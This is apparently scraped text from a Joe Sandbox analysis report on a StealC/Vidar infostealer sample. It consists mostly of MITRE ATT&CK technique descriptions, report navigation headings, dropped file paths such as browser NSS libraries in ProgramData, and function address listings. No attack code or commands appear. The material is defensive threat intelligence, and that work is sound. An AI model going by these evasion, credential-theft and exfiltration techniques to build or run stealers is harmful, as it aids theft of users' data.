Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\EHJKFCGHIDHCBGDHJKEB

C:\ProgramData\FIECBFID

C:\ProgramData\IEHJDGIDBAAFIDGCGCAKKKFBFH

C:\ProgramData\IIECFHDBAAECAAKFHDHIIJKFHJ

C:\ProgramData\IIIEBGCBGIDHDGCAKJEBAKJJKE

C:\ProgramData\IJKJDAFHJDHIEBGCFIDB

C:\ProgramData\KJKFBAFIDAEBFHJKJEBF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

Windows Analysis Report
file.exe

Function 00ED9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00EC45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00ECBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00ED4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00ED9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00EC7710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Function 00ED0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00EC5100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Function 00ECA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre